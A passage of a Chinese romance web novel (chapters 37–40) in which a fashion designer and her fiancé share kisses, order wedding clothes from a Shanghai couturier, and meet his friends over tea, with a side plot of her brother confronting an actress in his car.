桌面上有些凌乱,散落着几张铅笔设计稿,旁边还放着喝了一半的咖啡。 蔺之序随手拉开椅子坐下,动作轻缓。 皮质椅面发出极其细微的响声,很快被房间的静谧吞没。 他拿起最上面的一张设计稿。 一件礼服裙的廓形,肩部的立体褶裥设计充满巧思,旁边用极小的字标注着面料和工艺要求。 他看得专注,手指在纸页边缘轻轻摩挲。 房间里只有她清浅的呼吸声,和他偶尔翻动纸张时发出的几乎可以忽略的“簌簌”声。 时间在这昏暗不明又私密的空间里,被无限拉长凝滞。 叶瓷是在一种奇异的感觉中渐渐苏醒的。 意识像沉在深海里的碎片,缓慢地向上漂浮。眼皮沉重,她费力地掀开一条缝隙。 昏暗的光线里,书桌前的轮廓有些模糊,但那个挺拔身影,肩背的线条又太过熟悉。 她以为自己还在梦里,是在纽约晨曦中,隔着屏幕凝视她的梦。 “蔺之序……?” 她的声音带着浓重的睡意,含混不清,像小猫呓语,轻飘飘地落在寂静的空气里。 那人顿住了。 然后,在她朦胧的视线中,他竟真的站了起来。 蔺之序离开书桌,高大的身影逆着窗帘缝隙透进的光,一步一步朝床边走来。 脚步声很轻,踩在厚实的地毯上几乎无声,但那逼近的存在感却异常清晰。 不是梦。 这个认知像瞬间击碎了叶瓷所有的困倦。 思念,突然就像挣脱了樊笼的鸟儿,在她胸腔里鼓噪起来。 她彻底清醒,看着他在床边停下,微微俯身。 “吵醒你了?” 蔺之序声音磁沉,他身上的沉木香混合属于室外的清冷空气,清晰地传入她的鼻腔。 叶瓷摇摇头,撑着坐起身,丝绸薄被从肩头滑落。 “你什么时候回来的?”她问,声音还有些沙哑,目光却一瞬不瞬地落在他脸上,仿佛要确认这不是幻觉。 “昨晚。” 蔺之序言简意赅,目光在她脸上逡巡。 “看你睡得很沉,就没叫醒你。” 说着,他走到靠墙的矮柜边,那里放着他进门时随手带进来的一个首饰盒。 他拿起盒子,转身走回床边。 “给你带了点东西。”他打开盒盖。 一枚胸针。 主体是一块青金石,纯净的深蓝中点缀着细碎的金星。 叶瓷认得这种石头,也欣赏这种将天然材质与精妙工艺完美融合的设计。 “很特别。”她轻声说,指尖轻轻拂过冰凉的青金石表面,触感细腻温润。 蔺之序:“觉得像你。” 叶瓷把两人的话合在一起,心里默念了两遍,然后笑问他,“对你来说,我很特别吗?” 蔺之序看着她的眼睛,“当然。” 叶瓷突然想刨根问底,于是笑问,“怎么个特别法?” 蔺之序想了想,叶瓷看出他在思考,心里一下又不想知道了,有些情愫,暂时,她还不想也不愿去弄的太明白。 沉默的间隙里,叶瓷刚想转移话题,就听见蔺之序说,“特别就在于,你是我老婆。” 说完,蔺之序自然地在她床边坐下。 距离不远不近,刚好能闻到她发间清浅的冷杉气息。 蔺之序:“明天飞沪城?” 话题已经转开。 “嗯,去彭老师那里定礼服。”叶瓷点头,将目光从胸针上移开,看向他,“我想去苏园拍几张外景。” 她小时候在外公的苏园住过两年,那里对她有特殊的意义。 “好。”蔺之序没有任何犹豫,“其他的,交给摄影团队去选。” “嗯。”叶瓷应着,伸手拿过床头柜上的手机,“我现在跟彭老师说一下。” 她低头给彭罄发消息。 叶瓷:【彭老师,明天我和蔺之序去沪城拜访您,顺便商量一下礼服的事情。】 彭罄:【好的,工作室等你们。】 放下手机,房间内又沉入短暂的安静。 阳光似乎比刚才明亮了一些,光带在地板上移动了几寸。 两人都没有再说话,视线却不知何时胶着在了一起。 蔺之序的眼眸像静默的深海,映着她的身影,那里面翻涌着她未曾读懂却本能被吸引的暗流。 她的心跳在胸腔里失序地鼓动,一种陌生的带着甜意的紧张感持续蔓延。 这时,蔺之序缓缓靠近她,距离近到能感受到彼此温热的呼吸。 然后,他的唇,轻轻覆上了她的。 像蝴蝶的翅膀拂过花瓣,触感温软。 叶瓷的呼吸瞬间屏住,长睫也跟着剧烈地颤抖了一下。 蔺之序的气息已经将她完全包围,那是一种独属于他的男性气息。 这个吻短暂得如同错觉。 蔺之序微微退开些许,深潭般的眼眸凝视着她,似乎在确认,又像在无声询问。 叶瓷的脸颊已染上薄红,眼底氤氲着水汽,唇瓣因为刚才的触碰愈发丰润。 无需言语,某种默契在无声的眼神交汇中达成。 蔺之序再次靠近。 这一次,比刚才深了一些,却也依旧克制的探寻。他手轻轻托住她的脸颊,拇指指腹在她细腻的肌肤上极轻地抚了一下。 叶瓷生涩地回应他,感受着陌生的纠缠和灼热的气息交融。 她想起了初酿的梅子酒,醉意醺人。 很快,房间里只剩下两人交织的有些急促的呼吸,以及唇瓣缱绻时发出的令人脸热心跳的轻响。 不知过了多久,蔺之序稍稍退开,额头却依然抵着她。 此刻,他的眼神深得如同漩涡,里面翻涌着毫不掩饰的情|潮和某种压抑的渴望。 叶瓷感觉到他握着自己肩膀的手,掌心滚烫,带着轻微的颤抖。 他维持着这个极近的距离,没有再动,只是深沉地呼吸着,胸膛起伏的幅度比平时大了许多。 房间里暧昧的气息尚未散去,空气粘稠的好似蜜糖。 又浓又甜。 他坐在床沿,身体微微绷紧,似乎在极力平复着什么。 就在这时,一阵突兀的手机震动声打破了这静谧,蔺之序的身体微不可觉地僵了一下。 他闭了闭眼,再睁开时,眼底翻涌的情|潮已被强行压下,恢复了惯常的沉静。 他站起身,走向书桌。 叶瓷看着他挺直的背影,片刻,她掀被下床去了浴室。 她掬起一捧清凉的水拍在脸上。 镜中的自己,唇色嫣红,眼波潋滟,带着一种被滋润过的光彩。 等她重新走出浴室时,蔺之序已经结束了通话。 他站在窗边,西装外套搭在臂弯,领带一丝不苟,又恢复了那个沉稳持重的蔺总模样。 “公司那边临时出了点状况,”他看向她,声音已冷静,“需要我回去处理一下。” 叶瓷点点头,“嗯。” “我走了。” 蔺之序走到她面前,目光在她脸上停留了数秒,似乎想说什么,最终只是抬手拂开了她颊边微湿的头发。 “嗯。”叶瓷又应了一声。 蔺之序转身离开房间。 很快,脚步声消失在楼梯口。 叶瓷在原地站了会儿,然后走到窗边,轻轻掀开厚重窗帘的一角。 楼下庭院里,那辆黑色的库里南已经启动。 她看着蔺之序坐进后座,车门关上。 轮胎碾过庭院里落叶,车子缓缓驶离。 窗外的阳光正好,暖暖地洒在身上。 叶瓷坐回桌前,数分钟后,她敛起心神,拿笔开始画图,只有画图才能让自己心如止水。 第38章 第38章 晚安,叶瓷 沪城。 黑色慕尚驶离喧闹的主街, 拐入一条被梧桐荫蔽的幽静弄堂。 路面年久,车轮碾过发出低沉的“咯噔”声。 五分钟后,车子缓缓停在法租界一栋静谧的老洋房前。 绿荫掩映, 门廊低调。 司机开门后, 蔺之序率先下车。 他今天没有穿商务正装, 深色羊绒针织衫搭配同色系休闲长裤,外罩一件浅灰大衣, 沉静气场中平添了几分温润雅致。 他并未在车边停留,而是转身极自然地朝车内伸出手。 叶瓷刚整理好披肩, 下一秒, 手搭在他掌心,借力下了车。 沪城这几天气温骤降, 凉风袭来, 蔺之序问她, “冷吗?” 叶瓷笑,抬手挽上他的手臂, “不冷。” 来到门前,叶瓷熟稔地按响门铃。 片刻,门内传来由远及近的脚步声, 伴随着一声软糯的沪城口音:“来啦来啦!” 门打开。 “小瓷!” 彭罄热情地拥抱了叶瓷,随后看向她身后的蔺之序。 “这位就是蔺先生吧?模子老嗲(样子真帅)!跟阿拉小瓷立了一道的, 真是登对得不得了喏!” 蔺之序笑, 微微欠身,“彭老师您好,我是蔺之序,今日有幸拜访,打扰您了。” 彭罄笑, “勿要客气,快请进快请进。” 门内别有洞天。 穿过一个绿意盎然的天井,便进入了彭罄的工作室。 空间不大,却极高挑,保留了老洋房原有的拱形窗格。 三面墙是顶天立地的深色玻璃柜,里面陈列着各种面料样本:意大利顶级提花真丝,法国古董蕾丝,日本手工织造的莨绸等。 房间中央是几个半身人台,身上穿着尚未完成的样衣,旁边一张柚木工作台上,散落着皮尺,划粉,剪刀,针插和各色丝线。 “坐,快请坐。” 彭罄引两人到沙发落座,小几上已备好了红茶和点心。 蔺之序适时递上准备好的礼盒:“彭老师,一点心意。” 檀木盒里躺着支狼毫笔,笔杆是上好的青田石雕,彭罄笑着收起礼盒,“小囝太客气了!” 三人闲聊几句后,话题自然转向婚礼。 彭罄放下茶杯,看向两位新人,“婚纱照和婚礼的礼服,心里有没有特别喜欢的风格?” 叶瓷:“主婚纱的话,我希望是简约经典一些,不要过多的装饰,注重轮廓和质感。” 她看向彭罄,“老师您经验丰富,我想听听您的建议。” 彭罄想了想,“简约经典,永恒之美,这想法很好。重磅真丝缎是个不错的选择,哑光质感,垂坠流畅,能很好支撑建筑感的廓形。” “至于细节……或许可以在后背做点文章?比如流畅的垂褶。” 她看向叶瓷,征询意见。 叶瓷眼睛清亮,“这个好,垂褶的走向和张力是关键。” 无需多说,彭罄已了然。 “放心,”彭罄笑道,带着大师的自信,“我会把握好那个度,让它成为点睛之笔。” 说完,她又看向蔺之序,“蔺先生的礼服,我想与小瓷的主纱呼应,同样以极简剪裁和顶级面料为主,突出沉稳气度。深色精纺羊毛或天鹅绒,戗驳领,如何?” 蔺之序:“听您的安排,我相信您和叶瓷的眼光。” 关于主婚纱的初步构想敲定后,接下来就是量体了。 彭罄笑,“蔺先生的礼服嘛,当然是由你自家人来量最合适咯。” 叶瓷被点名,抬眼,就看见蔺之序正看着自己,仿佛这提议再自然不过,于是,“好,我来帮你量。” 说着,她起身走到工作台边,拿过软尺。 蔺之序也已经站了起来,他脱下大衣,搭在椅背上。 叶瓷走近,两人之间的空气慢慢被压缩,距离近到能闻见彼此的呼吸声,她突然又想起了昨天在卧室里的那个吻。 至今令人心悸。 敛神,叶瓷让自己进入专业状态。 她绕到蔺之序身后,软尺贴上他的后背时,两人似乎都顿了一下。 片刻,她微微踮脚,软尺的一端精准地落在他肩头,随后拉伸刻度,隔着羊绒布料,指腹下的触感清晰。 那是男人躯体上坚硬又平直的骨骼轮廓,像山脊。 她垂下眼睫,看软尺上的刻度,轻声报出数字:“肩宽,48.5。” 接着,软尺下滑,绕过他肩膀,叶瓷的手臂环到他身前,手指捏着软尺的另一端,紧贴着他饱满的胸肌绕行一周,最终在锁骨中心处汇合。 蔺之序配合地微微抬起下颌,喉结在她视线下方滑动了一下。 叶瓷报数:“胸围,108。” “该量腰围了。” 软尺环住他劲瘦的腰线,缓慢收紧,“腰围,84。” 叶瓷示意他抬起手臂。 从肩峰点开始,沿着手臂外侧,滑过紧实有力的肱二头肌,一路量至手腕骨突出的尺骨茎突。 “袖长,63。” 最后是裤长。 叶瓷在他身前蹲下,软尺从侧腰最细处开始,滑过笔直修长的腿线,垂直向下,“裤长,113.5。” 量体结束,叶瓷收起软尺。 彭罄将量体数据递给她,叶瓷接过,其实不需要笔记本,那些数字,连同触碰时的微妙感觉,都已经记在她心里了。 彭罄笑道,“小瓷的手艺,我是最放心的,蔺先生的身材也是最标准,做出来的礼服一定挺括。” 又聊了几句婚纱上的细节,彭罄问叶瓷,“婚纱照准备去哪里拍?” 叶瓷:“暂定去外公的苏园拍一套。” 彭罄眼睛一亮,“好地方!清静,景致也好,拍出来肯定有格调。” 叶瓷笑,“至于其他的拍摄地,我也懒得再动脑筋去想,就交给摄影团队吧,他们更专业。” 彭罄点点头,“嗯。” 暮色渐沉时,彭罄将两人送至工作室门口。 弄堂里的老式路灯已经亮起。 “真不一起吃个饭?”彭罄拢了拢羊绒披肩,“我知道外滩有家不错的本帮菜。” 叶瓷摇头,伸手帮老师整理了下被风吹乱的披肩流苏,她知道彭罄明天还要赶早去苏州看面料,怕对方劳累,于是说,“老师,我们下次再聚吧,您也累了一天了。” 彭罄听她这样说,笑着道,“好。” 两人临上车时,彭罄对蔺之序说,“下次带小瓷回沪城,我亲自下厨招待你们。” 蔺之序点点头,笑道,“好。” 去机场的路上,叶瓷看了会儿手机,觉得无聊时,她转脸望向车窗外流动的霓虹。 蔺之序在平板电脑上处理着堆积的邮件,两人之间是舒适的沉默。 直到飞机起飞时,他才收起工作,替她将遮光板调到最合宜的角度。 私人飞机落地,跑道灯在细雨中连成璀璨的星河。 “我回公司处理些文件。”蔺之序两手环在她腰间短暂停留,“让季叔先送你回家。” 叶瓷嗯了声,然后垫脚抱了抱他,蔺之序笑,两人安静抱了会儿,叶瓷先松开。 看着他走向另一辆等候的黑色轿车,挺拔的背影渐渐被雨雾模糊。 一个小时后,车子到达叶宅。 和叔撑着伞过来,伸手接过她的单肩包。 叶瓷习惯性看向车库,叶北庭常坐的那辆迈巴赫正安静停放着。 雨势不算小,砸在伞上,噼里啪啦。 来到玄关,她听到客厅里的声音,叶北庭正在打电话,不过,人已经看见了她,“小瓷,吃过饭了吗?” 他知道叶瓷今天和蔺之序去沪城订制礼服。 叶瓷:“还没。” 大概不是什么要紧的电话,叶北庭看她,“正好,我们一起吃。” 叶瓷笑,“我先上楼洗漱下。” 不一会儿,叶瓷换了家居服下楼。 餐厅里,秦姨正往碗里盛姬松茸炖鸡汤。 见她过来,眼角笑出细纹:“大小姐今天气色真好。” 叶瓷笑,“是吗?” 秦姨也笑,“那当然了!漂亮得不得了。” 叶瓷笑出了声音,“谢谢秦姨夸奖,我就不客气地收下了。” 两人在餐厅说笑着,叶北庭抬眼望过去。 叶瓷正在帮忙摆碗筷,他好久都没见过她这种轻松活泼的状态了,是从什么时候开始变化的,叶北庭想了想,好像是最近吧。 ……和蔺之序有关。 “彭老师身体怎么样?”叶北庭舀了勺蟹粉豆腐放进她碗里。 叶瓷:“精神很好。” 叶北庭笑,又问她,“什么时候拍婚纱照?你和蔺之序商量过了吗?” 叶瓷说,“大概在下个月十号左右吧,要等礼服。” 叶北庭点点头,兄妹两人边吃边聊,饭闭,秦姨过来收拾时,叶北庭对叶瓷说,“累了一天了,早点上楼休息吧。” 叶瓷笑,“嗯,哥哥也早点休息。” 深夜,叶瓷冲完澡出来,发现手机正亮着。 蔺之序刚发来的消息,一份苏园3D全景图,标注着最佳拍摄角度。 叶瓷点开看,标注很清晰,看得出是花了心思的。 还想再聊两句,不过一看时间,很晚了,想着他下了飞机又回公司,连轴转的一天,特别需要休息,于是打字:【我看过了,很详细。】 继续输入:【你早点休息哦。】 蔺之序:【好,晚安叶瓷。】 第39章 第39章 带老婆见朋友 几场秋雨, 气温降了不少。 这天,叶瓷正在工作台前裁衣,“总监, Vogue Paris的专访确认稿发您邮箱了, 需要今天敲定。” 叶瓷手上动作没停, “知道了。” 巴黎时装周结束后,叶瓷在时尚界名声大噪, 工作室的订单与日俱增,预约面谈的客户名单已经排到了三个月后。 门被轻轻叩响, 叶瓷抬起头, 前台接待引着一个女孩子走了进来。 对方穿着简单的燕麦色羊绒衫和深色牛仔裤,外面松松垮垮地罩了件黑色大衣, 看见叶瓷, 她主动打了招呼, “叶总监,您好, 我是魏心许。” 叶瓷觉得名字有些耳熟,只是一时想不起来在哪里听过。 “请坐。” 她放下剪刀,示意了一下工作台对面的椅子。“要喝点什么?咖啡还是茶?” 魏心许笑了下, “不用了,谢谢。” 叶瓷的目光在对方身上短暂停留, 迅速捕捉着她的肩线, 腰身比例。 魏心许没有落座,她看着叶瓷,“叶总监,我下个月有个很重要的电影颁奖礼晚宴,机会难得。听说您工作室的礼服独一无二, 所以冒昧来问问。” 叶瓷知道了,对方是娱乐圈的明星。 不自觉地,叶瓷又多看了她两眼,纯素颜,眼型狭长微挑,眼神流转间带着一种天然的纯欲风情。 叶瓷:“理解。有什么想法或者风格倾向吗?” 说着,叶瓷引她走向陈列着各种昂贵面料的区域。 意大利的提花织锦,法国的古董蕾丝,日本的顶级醋酸缎,魏心许的脚步在这些令人目眩神迷的料子前不由地放慢。 “叶总监,……我的预算不是特别宽裕。” 叶瓷转脸看她,就见她手指虚虚地划过那些面料,并未真正触碰。 最终,她的目光落在一卷合成混纺面料上。 那是叶瓷工作室里最基础,性价比最高的选择,通常用于内部打样或一些非核心项目。 “这个可以吗?”魏心许指着那卷料子,“我觉得颜色还行。” 叶瓷看过去,那料子质地偏硬,光泽感生涩,垂坠感更是远远不够,根本无法承载高级礼服所需的流动感和高级感。 她抬眼,再次看向魏心许。 女孩微微侧着头,那是一种未经雕琢的带着野生气息的美,像幽谷中独自生长的兰草。 这样的美,应该用上等的面料去衬。 “可以。” 叶瓷没做任何评价,应下。 接着,她转身走向工作台,从一叠设计稿中抽出一张简约流畅的抹胸鱼尾裙草图,线条利落,只在背部有一个巧妙的镂空设计。 “这款,设计简洁,对身材要求高,但能突出你的肩颈和背部线条。颜色用你选的面料相近的深灰蓝,会更沉静些。你看怎么样?” 魏心许看着设计图,连连点点头,“好,太好了,谢谢叶设计师。” “现在开始量体吧。”叶瓷示意助理。 量体的过程很高效。 叶瓷亲自操作软尺,魏心许配合地伸展手臂,转身,像一株安静的植物。 “好了,定金支付后,我们会安排试胚样。” 叶瓷收起软尺,语气是公事公办的利落。 魏心许再次道谢,“再见。” 直到门完全合拢,叶瓷转身走回设计台,她拿起铅笔,在刚才记录魏心许选择的便签纸上,轻轻划掉了“合成混纺”。 然后又在旁边写下“波尔多酒红重磅真丝缎”,并签上了自己的名字。 “小于,”她将便签递给对方,“面料按这个准备。差价记在我个人账上,不用通知魏小姐。” 小于明显愣了一下,“总监,这差价可不小啊。而且她选的——” “我知道。” 叶瓷的语气没有什么波澜,“真丝缎的颜色和垂感,才配得上她的骨架和气质。” 小于张了张嘴,最终还是把话咽了回去,点点头:“明白了。” 处理完几份邮件,叶瓷起身走向窗边,习惯性地活动了一下因久坐而略显僵硬的肩颈。 她的目光随意地投向楼下,恰好就看到了魏心许。 对方正站在工作室大门外的路边,微微低着头,双手插在口袋里,显然是在等车。 小于进来将几份需要签字的文件放在叶瓷的工作台上,“刚在楼下看到魏小姐了,还在路边吃冷风等车呢。哎,这些小明星,表面看着风光,实际真不容易,连个专车都没有。” 叶瓷没有接话,刚拿起签字笔,叶北庭推门进来了。 叶北庭:“还没忙完?” 叶瓷惊喜抬头,“哥哥?你怎么来了?” 叶北庭笑着放下食盒,“怎么?听这语气是不欢迎我?” 一边说着,他将食盒放在圆桌一角,然后打开盖子。 醇厚带着药材清香的鸡汤瞬间弥漫开,霸道地驱散了空气里的布料气息。 “秦姨炖的虫草花胶鸡,说你最近肯定又熬夜,喝点汤水补补元气。” 叶北庭将上层的小盅取出,揭开盖子,金黄浓郁的汤汁上漂浮着几颗饱满的红枣和枸杞,热气氤氲。 “趁热喝两口,暖暖胃。” 叶瓷放下笔,顺从地接过小盅和配套的细瓷汤勺。 “好喝。” 她笑着评价,又低头喝了几口。 叶北庭倚在工作台边,目光扫过摊开的设计稿,堆叠的面料小样和一旁电脑屏幕上密密麻麻的订单邮件,“劳逸结合,身体是革命的本钱,这话老套,但理不糙。” “知道。” 叶瓷应着,小口喝着汤,“刚接了个新单,一个新人演员,魏心许。” “哦?”叶北庭眉梢微挑,面上未动声色。 兄妹俩有一搭没一搭地聊了几句家常,二十分钟很快过去。 叶北庭看她喝得差不多了,便不再多留,细心地盖好食盒:“你忙,我先走了。” 叶瓷:“嗯,哥哥路上注意安全。” 叶北庭刚离开,小于又敲门进来,手里拿着几份文件,“总监,这些也需要您签字。” 叶瓷接过,正签着,小于张嘴道:“总监,我刚才从面料库出来,看到那个魏心许了。” 叶瓷微一歪脑袋,“她还没打到车?” 小于看她,终于缓慢开口,“……我看到她上了叶总的车。” 叶瓷握笔的手滞了下,哥哥的车? 她知道,叶北庭的车从不轻易载人,更何况还是一个素不相识的人。 诧异不过数秒,叶瓷继续低头签字。 黑色迈巴赫车内。 “地址?”叶北庭侧过头问她。 魏心许报了个小区名,声音有些发紧。 车子平稳驶入繁华主路,叶北庭姿势放松,指尖轻轻敲着膝盖。 魏心许稍稍放松了警惕,或许是自己想多了。这样想时,她转过头,刚要张嘴说什么,对方忽然侧身逼近,动作快得惊人。 强势阴影瞬间将魏心许笼罩,清冽雪松香气混着强烈的男性气息侵略而来。 他修长的手带着烫人温度,猛地钳在她的腰侧。力道很大,魏心许整个人被按进座椅深处,动弹不得。 “叶,叶总。” 魏心许声音发颤,眼底漫上水光,像受惊的鹿。 叶北庭看着她的脸,还真是一只湿漉漉的小鹿。 沉笑了下,他灼热指腹缓缓摩挲着她腰际敏感的肌肤,一圈又一圈。 一如那晚事后。 魏心许微闭闭眼,她感受到他的呼吸近在咫尺,有过肌肤相亲的人,再次触碰,身体记忆立刻被唤醒。 昏暗酒店套房里,酒精之下,彻夜痴缠。 “魏小姐,”叶北庭低笑,声音哑得可怕,每个字都像是从喉咙深处碾磨出来,“小把戏,玩得开心吗?” 魏心许浑身一僵。 “用那双湿漉漉的眼睛瞟我,脚尖‘不小心’碰到我,嗯?” 叶北庭长指用力,掐得她细腰生疼,忍不住呜咽一声,眼眶瞬间就红了,是生理性的泪,也是真的怕了。 “钓我上钩的时候,没想过后果?”他继续逼近,眼底情绪骇人。 “叶总,那晚只是个意外,不是——” “不是什么?”叶北庭截过她的话,长指擦过她唇瓣。 车窗外是繁华街市,车窗内是逼仄的,无处可逃的囚笼。 魏心许被他掐着腰,按在椅背上,连挣扎的缝隙都没有。 那双漂亮的眼睛里此刻盈满了水汽,眼尾绯红,是胆怯,也是某种被彻底看穿,无处遁形的心虚。 叶北庭盯着她那抹美得触目惊心的红眼尾,良久,“始乱终弃?没有这样的道理。” …… 窗外,暮色渐沉。 盛域集团总部大楼顶层的专属电梯正平稳下行。 密闭的空间光滑如镜,映出蔺之序挺拔的身影。 他穿着质感上乘的深色西装,没有一丝褶皱,周身散发着一种久居上位,沉淀下来的沉稳气场。 此刻,他的手机屏幕正不断亮起,嗡嗡的震动声在电梯里格外清晰。 “七号公馆”群聊信息正一条接一条地往外蹦。 司恒:【今晚新到的狮峰龙井,有人约吗?】 蒋昀铮:【有!】 裴时:【+1 刚被徐老三虐完18洞,急需喝茶回血。】 梁屿培:【@裴时,人菜瘾又大说的就是你,下次带五哥去,替你扳回一局。】 司恒:【@蔺之序人呢?不会又在加班吧?】 裴时:【五哥最近神隐啊,每天忙完工作就是陪嫂子?】 蒋昀铮:【巴黎时装周那场秀刷屏了,叶瓷现在可是时尚圈顶流。】 裴时:【@蔺之序对啊,嫂子巴黎一战封神了,五哥,你藏着掖着不够意思啊。】 司恒:【附议!】 梁屿培:【择日不如撞日,就今晚吧。@蔺之序速度安排!】 裴时:【五哥你再潜水我们就直接杀去你公司堵人了。】 司恒:【@蔺之序带嫂子来喝茶啊,最近收了套绝版紫砂,正好配龙井。】 裴时:【让我们也沾沾艺术家的仙气。】 梁屿培:【@蔺之序看到消息吱一声。】 三分钟后,蔺之序来到地下车库。 他的拇指悬在屏幕上方,看着不断跳出的名字和催促,想了想,然后打开了和叶瓷的会话框。 就在这时,手机顶端突然弹出一条新消息提示。 叶瓷:【晚上有时间吗?一起吃个饭?】 蔺之序还没来得及回复,隔壁群聊信息又刷到飞起。片刻,他回复叶瓷:【我的几个朋友想见见你。】 发送过后,他继续打字:不过,如果你不想—— 还没输入完毕,叶瓷的消息又进来:【好的】 蔺之序的目光落在那条简短的信息上,仅仅一瞬,他毫不犹豫地删掉了那行犹豫的字句。 蔺之序:【好,几点去接你?】 叶瓷:【七点半吧,手头还有点儿工作。】 蔺之序:【好的。】 结束对话,蔺之序点开群聊:【晚上七点半,茶楼,带叶瓷。】 这条消息如同投入热油锅的冰块,瞬间引爆了热烈的回应。 第40章 第40章 失控沉溺 轿车在胡同口停下, 青砖灰瓦的巷子僻静幽长。 蔺之序先一步下车,然后侧身,朝车内的叶瓷伸出手。 叶瓷搭上他的掌心, 这时, 蔺之序说, “今晚我们来的是司恒开的茶楼,我们订婚那天, 他也参加了。” 叶瓷知道那天有他的几个朋友在现场,不过, 哪个是司恒, 她不记清了。 蔺之序手指收拢了下,像是一种安抚。 他知道, 她不喜欢热闹, “待会儿如果想走, 直接告诉我,不用跟他们客气。” 叶瓷笑了下, “好。” 胡同里飘着浓郁的桂花香,拐过两道弯,已经有侍者在门口等着, 见两人走来,忙迎上去, “蔺总好, 叶小姐好。” 侍者在前边带路。 叶瓷第一次来这里,假山叠石,一池秋水映着天光,里面还有几尾锦鲤。 她略停了停步子,目光掠过池边一株开得正好的茶梅。 花瓣飘落水面, 荡起细微涟漪。 蔺之序陪她站着,不远处的侍者见客人不动,也跟着停在了原地。 “喜欢?”蔺之序低声问。 叶瓷嗯了下,笑道,“很漂亮。” 蔺之序点点头。 直到,司恒过来喊人。 “嫂子如果喜欢,以后常和五哥过来玩。” 叶瓷笑着颔首,“司先生。” 司恒笑,“别这么生分,喊我名字就行,我叫司恒。” 说着,他转身引两人往里走:“大家都已经到了,在听雨轩。” 此时,听雨轩的门半掩着,里面传来低低的谈笑声。 推门,暖意扑面。 几人笑着起身,过来跟叶瓷打招呼。 蔺之序一一做了介绍,末了,裴时笑道,“五哥和嫂子,郎才女貌,天作之合!” 蔺之序笑,握着叶瓷的手又紧了紧。 侍者适时进来送茶。 司恒笑道:“刚到的雨前龙井,大家尝尝。” 叶瓷平时喝咖啡比较多,对茶没什么研究。 只见侍者跪坐在茶台旁,素手执壶,水流如银线倾泻,茶叶在青瓷盏中舒展翻腾。 这时,梁屿培笑着搭话,“嫂子看入神了?要说茶道呀,咱们这儿可坐着位行家。” 叶瓷见他朝蔺之序抬了抬下巴,“五哥可是学过茶道。” 叶瓷转脸看旁边的人,蔺之序微笑了下,“只是皮毛而已,别听他胡说。” 梁屿培为自己辩白,“我怎么就胡说了,五哥最爱谦虚。” 司恒也笑:“五哥,快来给嫂子演示一下。” 蔺之序看向叶瓷,似在争取她的意见,叶瓷笑着点点头,“我想看。” 蔺之序笑,“好。” 茶台上,一套顶级白瓷茶具,素雅温润,是司恒从某位隐退的老匠人那里淘来的。 “五哥,这套茶具,换了别人,我可舍不得拿出来。” 蔺之序没理会他的话。 片刻,“水温差不多了。” 他提起水壶,离茶盏约三寸处,接着一道清亮的水线缓缓注入。 水声清越,蒸腾起的缕缕白汽,瞬间模糊了他沉静的眉眼轮廓。 叶瓷的目光追着水流,她知道,这个步骤是温杯烫盏。 蔺之序的动作非常流畅,手指修长有力,摆弄那些小巧的杯具时,有种举重若轻的沉稳感,一看就是功底深厚。 烫完茶具,他用茶匙从青瓷罐中取出适量茶叶。 翠绿的龙井干茶落入素白瓷盏中,发出极轻微的簌簌声。 蔺之序看一眼旁边的叶瓷,对视间,他告诉她,“这是狮峰山明前龙井。” 叶瓷点点头。 水开了,他没有直接冲泡,而是晾了十几秒,等水温降到八十多度,接着提起水壶,手腕悬稳,水流沿着盖碗的内壁,手势又轻又准,一点没烫到茶叶。 嫩绿的茶叶遇水缓缓舒展,如同重新焕发生机的小精灵,茶香立刻被激发出来。 注水七分满,他盖上盖子。 静待了会儿,他左手持盏,右手揭开盖子微微倾斜,金绿色的茶汤经过滤网落入公道杯。 叶瓷感觉他的手腕稳得不可思议,全程没有一滴茶汤溅出。 分过茶,蔺之序将茶杯推到她面前。 “小心烫,”他低声提醒,“现在香气最好。” 叶瓷笑着接过,闻了闻,那是一种清新的豆香混合着嫩栗的香气,“确实是。” 对面,蒋昀铮目光饶有兴致地落在蔺之序和叶瓷身上。 突然感觉,天作之合四个字有了具象。 …… 一个小时后,车子平稳地滑入繁华街道。 城市灯火如同流动星河,在深灰色的车窗上投下明明灭灭的光影。 叶瓷靠着柔软的头枕,目光落在工作室本季度的财务报表上。 蔺之序处理完最后一个邮件,合上了膝上的笔记本。 他侧过头,用手机给她传了一份文档,“这是明天拍摄婚纱照的流程。” 叶瓷闻言,打开文档。 第一个拍摄地在颐和园,时段选择在上午九点之前,接着又列举了具体的取景地和服装类型。 下午在苏园,拍摄时段午后至黄昏,每个地点选得都极有格调。 蔺之序没有打扰她,他重新打开手机,处理着一些需要即时批复的消息。 叶瓷沉浸在流程细节和服装构思中,车厢内陷入了长久舒适的沉默。 两人各自忙碌,没有尴尬,没有刻意的寻找话题,这份沉默像一层温热的绒毯,包裹着两人。 四十分钟后,车子驶入叶宅的私人林荫道。 几乎是同时,细密的雨丝开始飘落,敲打在车顶和宽大的挡风玻璃上,响声轻微密集,像是无数细小的珍珠滚落玉盘。 昏黄的门廊灯光穿过雨幕,在湿漉漉的车身上晕开一片朦胧光晕。 管家和叔早已撑着一把宽大的深色雨伞,安静地侍立在车旁几步远的地方,身影在雨幕中显得有些模糊。 季叔的声音通过车内通讯系统传来:“少爷,少奶奶,到了,外面下雨了。” 说完,季叔撑伞下了车。 “嗯。” 蔺之序应一声,他侧身,准备打开自己这边的车门。 叶瓷这时也收了手机,屏幕暗下去,车厢仪表盘幽微的冷光和窗外门廊的暖光,在她脸上交织。 蔺之序的手在即将触碰到门把手的那一瞬,他的动作突然停下。 车厢内是一个被雨声包裹的极度私密的小世界。 叶瓷抬眸看向窗外雨景的侧脸线条,还有她身上那股清冷的气息,此刻被隐秘空间和昏暗光线酝酿出一种难以言喻的吸引力。 最终,蔺之序的目光落在她微微抿起的唇线上。 一种强烈的冲动毫无预兆地攫住了他,那不是深思熟虑的结果,更像是一种被环境催化,被某种隐秘渴望驱使的下意识反应。 他倾身过去,动作快得让叶瓷来不及反应。 带着薄茧的指腹轻轻托起她的下颌时,温热的唇便覆了上来。 起初带着一丝试探的轻柔,但很快,那熟悉的柔软触感和她身上的气息,一下就引燃了压抑已久的渴望。 蔺之序骤然加深,变得灼热而强势,带着十足的占有欲。 他的手臂不知何时已环过她的腰身,将她更紧地拥向自己。 叶瓷的身体有一刻的僵硬,但熟悉的气息和不容抗拒的力度,让她紧绷的神经奇异地松弛了下来。 她没有抗拒,甚至在那炽热的侵略中,生涩地给予了微弱的回应。 柔软交缠,呼吸相闻,车厢内温度急剧攀升。 车顶雨声仿佛变成了巨大的白噪音,将他们与外界彻底隔绝,只剩下彼此急促的心跳和柔软间旖旎的水声。 这份亲密像禁忌的果实,带着让人眩晕的魔力。 这件事实在让人上瘾。 